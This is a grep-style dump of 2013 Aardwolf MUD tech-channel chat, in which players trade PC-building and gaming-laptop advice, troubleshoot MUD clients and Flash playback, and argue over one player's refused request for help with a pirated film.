T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: find a good streamer, and check his spec
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: ah i see
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: how do i be sure if it can sli or crossfire or what not, and if its haswell... not reallys ure what that is
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: sli/cross, it says on the motherboard, most 150 usd ones support both I think
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: oh ok thanks
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: haswell is intel's new cpu architecture
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ontuct Tech: is it worth replacing an ipod nano screen?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: I believe sli/crossfire only matters if you have more than one gpu
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: as far as crossfire/sli, most of the time you'll find that buying a single good card is better than 2 lower end cards
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: less heat, less energy and roughly equivalent performance
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: then in 2 years or so, the better card you bought now, will be cheaper, and you can buy another and SLI them then
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: well i dont ahve a huge budget, so i thought future expansion i tmight be most efficient to buy the best i can now, and then be able to add a second card later?  hwo do i know if a processor is haswell or not
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: Qaebl scoffs at saving energy unless you can do it without degrading performance.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: Leinei . o O ( Qaebl drives a Hummer )
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: eh Qaebl, its been show over and over, that a 450$ nvidia card is roughly equivalent to 2x 200$ cards in SLI
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: whats the minimum you think i can spend and still play up and coming games decent like ones not released yet and the current ones
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: depends on his budget but I guess it's low
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: yeah exactly
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: and still be good for upgradability
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: for a "decent" rig, probably a ~200$ video card, 200$ cpu, 150$ mobo, 40-60$ in memory (8gb-16gb)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: ye how much money you got there
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: I spent about $2,100 on my comp about 5 years ago, already pre-built.  It'd be a lot cheaper than that to build an equivalent one now, and it's still upgradable, and can still run the most recent games on highest settings easily
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: I just play on my laptop like a boss
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: what I really need is a good usb sound card and some good quality computer speakers. My speakers just died and I'm down to a couple pairs of sennheiser studio headphones.  Any recommendations. Onboard sound is a bit of a pain when you've got music going constanly. I like hardware knobs.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: that's including all peripherals, too
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: a decent mid range 128Gb SSD will run you around 80$ and is WELL worth it in terms of performance increase. and pick up a 1tb (or thereabouts) HDD to put your videos/music/pictures etc on
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: for a mid range rig you can probably spend < 1k$ and have something that'll last 3-4 years
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: well Id prefer laptop, but my current one cant play the games, and i figure it would cost a lot less to build a desktop than to buy a gaming laptop, 
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: gaming laptops are terrible ideas imo
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: ye for sure
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: so this less than 1k desktop we are talkigna bout, how does it compare to the around 1k gaming laptops that area vailable
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: oh ok
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: They're not as bad ideas as they used to be
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: the cost is insaine compared to a desktop
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: 5 years ago, I would definitely have agreed with you
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: eh
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: even now
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: dollar for dollar
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: so a 1k gaming laptop would be alot worse than a less than 1k desktop i build?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: ye
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Flach Tech: absolutely
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: you'll get better performance and future expandability out of a desktop
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: but a laptop just has other advantages
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: None the Wyza nods at TrEz.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: all depends on what you want it to do
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: right... will around a 1k gaming laptop be able to play the current games and the new ones coming out like Elder Scroll Online, EQNext etc.?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: If you want top-end, sure, you probably want a desktop.  But you can get a quite capable gaming laptop for not an extravagent amount of money.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: kalrom, can it play them? yes
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: any specific non extravegent amount of money laptop youd recommend?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: at what level do you want them to be played?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: ultra? high? medium? (or i don't care as long as it turns on)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: well.. i saw some pictures comparing the different qualities of some games,and i didnt see a huge difference between medium, high, and ultra
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: I have a mech keyboard for my laptop, it's so nice
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: low didnt look so good though, the shadows particularly
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: wahts a mech keyboard
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: alienware's cheapest gaming laptop is $1,200.  But a lot of people consider those to be overpriced.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: shadows are one of the hardest things for video cards to do well
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: get an apple ipad
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: mech I think is mechanical so tha'd be something like das keyboard.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: it'll be crap for games, but will make you feel trendy and superior
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: dont knwo what a mechanical or das keyboard would be like
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: think of keyboards they made 20 years ago
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: rock solid
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: oh
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: never dies, and has perfect precision
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: he doesn't sound like one to be alive 20 years ago
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: has actual switches under the keys so you don't make typos because keys got recorded in the wrong order and they're a lot easier on your hands
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: haha
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: i was alive 20 years ago :)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: why don't i sound like i was?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: anyone with any nouse was alive 20 years ago
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: people born since are generally rubbish
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: cheap chinese knock-offs
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: None the Wyza chuckles at Tigernuts's joke.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: seriously what in particular makes it sound like i wasn't around 20 years ago?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: yeah I wish my cat hadn't knocked my drink into my other keyboard. 
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: what about Asus ROG laptops?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: I'll grab a good keyboard when my IRC, IM MUD and commandline usage kills this one lol and that's not long in coming.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: modern people strut around with a unjustified i'm-metrosexual-and-intellectually-superior strut, without realising that the two generations that went before screwed everything up and sold their future into serfdom
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: i know a few years ago ASUS laptops had big heat problems
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: especially the gaming ones
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: i odn't know about now
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: sager?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: mine is fine
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: heat tends to be a lot less of an issue thanks to finer fabrication process and lower power consumption icu
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: if you go for a laptop, first thing you do is format the hard drive and install it without the 40 trialware/bloatware apps
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: how would i do that, the version of windows it comes with usually is on a special partition that would always intall that stuff right?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: if you have to ask
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: never mind
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: lol, then how does one learn
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: idk tiger, work provided a nice dell business class laptop (brand new) and that thing's exhaust has been measured at 120F...granted its a Dell..sooo...yeah
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: probably on-demand cooling. 120F isn't exactly burning
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: kalrom, google "how to reinstall windows from scratch" :)  there is a whole world of guides over.  Also just diving in and trying is a great teacher.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: that's just the exhaust, the bottom is about 130-140.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: if you don't want all your personal details being uploaded via microsoft to the nsa and any corporation paying, suggest you avoid windows
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: thanks
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: lol, yeah tiger, sadly he wants to game
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: most games still require windows no?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: run them in a sandbox
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: besides if yoru browsing the web it all goes to the nsa anyways
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: or in a vm
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: i'd say about 50-60% of the AAA games are crossplatform
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: LoL tiger
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: run a high CPU/GPU intensive process in a VM?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: VM graphical integration has come a long way
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: but it isn't *that* good
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: thansk everyone :) ill probably ask more later... i have to weight pros and cons of laptop vs desktop, one pro to desktop is i coudln't play all the time, however nwo that ive started playign this, i always have a game i can play, which is a pro, and a big con lol
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: clever, google invented time travel - imagery date given as 4th October 2013
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: either that or their localisation is buggered
T3/r7/2013-08-04.txt.gz:{chan ch=tech}None the Wyza Tech: knowing google, its the former
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: teh aardwolf client has a graphical map in it, how do i learn what the different colors mean
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: if you would please :)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Kalrom: https://code.google.com/p/aardwolfclientpackage/wiki/GMCPmapper#What_do_the_different_room_colors_mean?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: Woah! thanks lol
T3/r7/2013-08-04.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is there anything to be done after rebooting twice, if i am experiencing 67-77% packetloss, and dns failures to common sites like verizon.com, windows.com, dia.mil, and cnn.com ?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}HelperMan Hadar Tech: did you reboot the computer or the router?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dark & Emo Skyris Tech: how would i connect midpssh? Aardmud.org:4000 doesnt work.
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Ranrr Tech: Is there any technical reason why spreadsheets left adjust text, but right adjust numbers by default?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dark & Emo Skyris Tech: midpssh say it's connected to 'aardmud.org:4000' then it say connected but nothing else happens?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: how do i get on midpssh? I got the details and all that but all it says is connection to aardmud.org:4000..... Ok
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: any1 to awnser?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Keechda Frans Tech: what's midpssh
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: its a mush client for mobile
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Ranrr Tech: sound more like an ssh client than a mush....
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's a ssh/telnet client
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: yes it is
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: just checked afterwards
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: anyone know how?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: are you on mxit?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: yes i am
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: then it's probably your isp that blocks aard connection or ports for some reason
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Dani Tech: what does isp mean?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: internet service provider
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: unable to connect to aard via a telnet client is a quite common problem for mxit users
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so assume it's blocked in some way
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Ranrr Tech: try port 23, or one of the other ports, maybe you'll get lucky
T3/r7/2013-08-05.txt.gz:{chan ch=tech}TrEz Tech: should I update mush
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Tech: trez: I'd say it depends on how old your current one is, and what's changed since...I try to keep my test folder within about 6 months of Fiendish's current
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Aslyn Tech: if i download a new version of mushclient, what files do i need to port over to replicate my setup, mapper, triggers, aliases etc? 
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click download client...that page tells you
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Pei Tech: download page on mushclient tells you
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Pei Tech: download page on aardwolf
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Pei Tech: i meant
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Aslyn Tech: oh doh, thanks! 
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Bamboo Tech: Someone say doh?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Tech: You backhand Bamboo's forehead and say, "DOH!"
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Aslyn Tech: that would be me, slapping myself :)
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Tech: Bamboo keeps hitting himself in the head and uttering, "Doh!"
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Tech: Aslyn falls down laughing.
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: soemthing weird has happened.  im using the aardwolf client, and there is a graphical map, adn then the text based map shown in another window, that map has never shown in my main gaming window before, but now it does when i move, and it doesn't seem to update the other map widnow, how do i fix this
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Blonk Tech: type map off
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: thanks, but its not showing up right in my map window in the aardclient like it used to?
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Bast Tech: tags on then tags map on
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Bast Tech: and if you turned the map off, turn it back on
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: ok and its also messed up because in my main window it told me i was sent a tell but didn't actually show the tell, that was only in the communication log, wheras before it would show in both places which is what i want
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Krache Tech: I am getting the same problem, none of those worked for me
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: im gonna close my client and be right back and see if that helps
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: Lord willing it will :)
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: ok map seems okay
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: someone tell me please
T3/r7/2013-08-05.txt.gz:{chan ch=tech}Chislon Tech: ok i think its all working again thanks all
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "my map isn't working properly"  "type map off". Is that about the dumbest response anyone has ever given on here?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: wax off
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone got time to walk me through the creation of my first zfs pool and then filesystem? :)
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Grasshacker Tech: what os?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: mint/ubuntu
T3/r7/2013-08-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: zfs is crap
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Grasshacker Tech: not my specialty. try setting one up that you don't have to boot off of.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: fiendish, it is?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's suuuper slow on linux
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i dont mind if its slow, im encrypting the disk anyways
T3/r7/2013-08-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: btrfs has nearly all the features of zfs plus others, is much faster, and is actually still being developed
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn. so zfs isnt still being developed?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ok, lemme go see if i can use btrfs X.X man so much reading
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Can anyone out there reccromend a free FLV player??
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Qaebl Tech: vlc or mplayer?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Difference? I wanna use it for something similar to youtube streaming but it says a FLV player is requried
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: FLV is flash, to my understanding.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: drag/drop it into your browser
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: What is the standard one?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: standard one?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: flash player?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: Nod. FLV is like an AVI file sort of.. its a container file for whatever
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: What would I drag ad ddrop into my browzer and how does tha work?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: What is it you're trying to do, Sak?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: I dont have one installed some dumb idiot put a raw hard drive on my computer
T3/r7/2013-08-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: most flv will play on a browser (i always used FF so not sure on others)
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: er. If the drive was blank, you would not even have an OS to boot in to.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: And Adobe Flash is a free download.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: I had to install adobe and java myself.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: And, Sak? 
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Thank you, Thats exactally what I was looking for.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: OK, so we've spotted two of your mistakes...   ;p
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: It's not part of windows. theres no requirement it be installed by default on a new PC, or after imaging. 
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Well I guess I didnt install Adobe
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: Sak.. you just said you installed "adobe" .. did you not mean flash?
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: or were you talking about acrobat
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Looks like I never finsished it
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: I coulda sworn I did
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: that would do it. Also, you might need to install plugins for Chrome, or what not. if you're using a different browser then IE.. but I think that might all be rolled in to the installer in current versions... been a while since I installed it
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Sakata Tech: Just having issues with my movie website is all
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Tech: Sakata nods.
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: probably dont have flash installed/properly installed. Depending on what the site uses to stream, anyway
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: http://get2.adobe.com/flashplayer/ if you dont have the link handy to download it
T3/r7/2013-08-06.txt.gz:{chan ch=tech}Daloran Tech: if you need it, anyway
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: ... got to love it when people want help, then ignore you when you won't help them do illegal things
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: help me rob a bank?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the monolopy bank is too rich
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: You wouldn't download a Bank!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: you know that thing about downloading a car?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i missed my p =/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you can download a house!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Everybody knows that when you play Monopoly the banker always wins.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: apparently someone has been working on that... they're downloading a car and using a 3d printer to make it
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: You know what, tech -h is frigging HILARIOUS, How about this: 06 Aug 23:57:28 - You tell Daloran 'You asked, and I brought it privately.' 06 Aug 23:57:52 - Daloran tells you 'I didn't ask, actually'06 Aug 23:58:19 - You tell Daloran '[06 Aug 23:46:12] Daloran Tech: What is it you're trying to do, Sak?' 06 Aug 23:58:29 - Daloran tells you 'Yes? And?'
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: With Makerbot anything is downloadable!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Congratulations on being pregnant, Hadar!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: I hate retarded people.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Sakata.. No Personal attacks.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Now you are going right back where you belong.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: they've already printed everything made of plastic.  Guess that means half the engine, too.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Lol, Sak
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: it's only a matter of time
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: though it's pretty scary
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: i think eventually the technology will exist to print guns etc
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It already does
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you can print guns =/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: It already can print guns.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: out of plastic?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yup
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Someone's printed up a gun and fired it.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: they are 100% plastic, so avoid metal detectors
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Nuanse Tech: just few days ago they announced that they could fire 14 times with a rifle made with 3d printer
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Who the heck doesnt watch an occasional movie? Honestly?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: wow, that's pretty impressive
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: yes, the currently common ones only last a few shots before they deform uselessly.  Someone is currently looking to develop a ceramics-based plan that lasts longer.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Redryn nods.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: yea, i was thinking they couldn't handle the heat
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Fwiw, Sakata was trying to download illegally a movie still in theatres. Just saying, since he decided to post half a convo ;) But I'm done
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: actually i like the house you can download and "print" out
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: so i guess it's more like a 1 shot kinda thing
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Posting half a conversation to paint yourself as a better person... well...
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: No I just told you I wanted to  watch a movie... So what? He asked what I wanted to do I told him and he wasnt happy with it Etzli thats all it boils down to.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: maybe he doesnt like your taste in movies
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I don't have too much issue with piracy, but if you can't even handle the basics you are the sort of person theatres exist for
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: aren't theatres supposed to be using those anti-piracy lasers?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: It seems like you weren't happy that he wouldn't help you accomplish something that's illegal, to be honest.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: 06 Aug 23:55:44 - Sakata tells you 'Can you see this? Dont click the download link..' 06 Aug 23:55:45 - Sakata tells you '<URL Omitted>' 06 Aug 23:55:57 - You tell Sakata 'I'd rather not.' 06 Aug 23:56:19 - Sakata tells you 'Its a copy of R.I.P.D that requires a flash player' 06 Aug 23:56:47 - You tell Sakata 'Now I especially won't. What you're doing is illegal, and doesn't belong on the mud.'
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: My computer worked just fine on the sites before I got the hard drive replaced, ive never had these problems before.
